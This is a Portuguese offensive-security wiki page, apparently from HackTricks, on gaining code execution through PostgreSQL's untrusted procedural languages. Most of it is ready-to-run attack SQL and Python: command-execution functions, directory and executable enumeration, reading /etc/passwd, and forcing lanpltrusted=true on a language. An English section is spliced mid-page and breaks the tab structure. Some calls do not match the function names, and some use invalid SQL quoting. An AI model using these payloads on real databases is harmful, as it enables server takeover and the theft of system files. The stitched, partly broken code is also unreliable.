10 KiB
Linguagens do PostgreSQL
O banco de dados PostgreSQL ao qual você obteve acesso pode ter diferentes linguagens de script instaladas que você pode abusar para executar código arbitrário.
Você pode fazê-las funcionar:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
A maioria das linguagens de script que você pode instalar no PostgreSQL tem 2 versões: a confiável e a não confiável. A versão não confiável terá um nome terminado em "u" e será a versão que permitirá que você execute código e use outras funções interessantes. Estas são as linguagens que, se instaladas, são interessantes:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (qualquer outra linguagem de programação usando uma versão insegura)
{% hint style="warning" %}
Se você descobrir que uma linguagem interessante está instalada mas não confiável pelo PostgreSQL (lanpltrusted
é false
), você pode tentar confiar nela com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
{% endhint %}
{% hint style="danger" %} Se você não vir um idioma, pode tentar carregá-lo com (você precisa ser superadmin):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
{% endhint %}
Observe que é possível compilar as versões seguras como "inseguras". Verifique isto como exemplo. Portanto, sempre vale a pena tentar se você pode executar o código, mesmo que encontre apenas o confiável instalado.
plpythonu/plpython3u
{% tabs %} {% tab title="RCE" %}
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
{% endtab %}
{% tab title="Obter usuário do sistema operacional" %}
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';
SELECT get_user(""); #Get user, para is useless
{% endtab %}
{% tab title="Listar diretório" %}
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';
SELECT lsdir("/"); #List dir
{% endtab %}
{% tab title="Encontrar pasta W" %}
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables
return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';
SELECT findw("/"); #Find Writable folders from a folder (recursively)
{% endtab %}
{% tab title="Encontrar Arquivo" %}
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_file("psql"); #Find a file
{% endtab %}
{% tab title="Encontrar executáveis" %}
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
{% endtab %}
{% tab title="Encontrar exec por subs" %}
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find("/")
b = []
for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT find_exe("psql"); #Find executable by susbstring
RCE with PostgreSQL Languages
PostgreSQL allows the creation of new languages that can be used to write stored procedures. This feature can be used to execute arbitrary code on the server.
Creating a new language
To create a new language, you need to be a superuser or have the CREATE LANGUAGE
privilege.
CREATE TRUSTED PROCEDURAL LANGUAGE 'plpythonu' HANDLER plpython_call_handler;
Writing a stored procedure
Once the language is created, you can write a stored procedure in that language.
CREATE OR REPLACE FUNCTION rce() RETURNS void AS $$
import os
os.system('/usr/bin/id > /tmp/rce')
$$ LANGUAGE plpythonu;
This stored procedure executes the id
command and writes the output to /tmp/rce
.
Calling the stored procedure
To call the stored procedure, you can use the SELECT
statement.
SELECT rce();
This will execute the rce
stored procedure and write the output to /tmp/rce
.
Cleaning up
To remove the language, you can use the DROP LANGUAGE
statement.
DROP LANGUAGE plpythonu;
References
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';
select read('/etc/passwd'); #Read a file in b64
{% endtab %}
{% tab title="Obter permissões" %}
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';
select get_perms("/etc/passwd"); # Get perms of file
{% endtab %}
{% tab title="Requisição" %}
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
pgSQL
Verifique a seguinte página:
{% content-ref url="pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}
C
Verifique a seguinte página:
{% content-ref url="rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.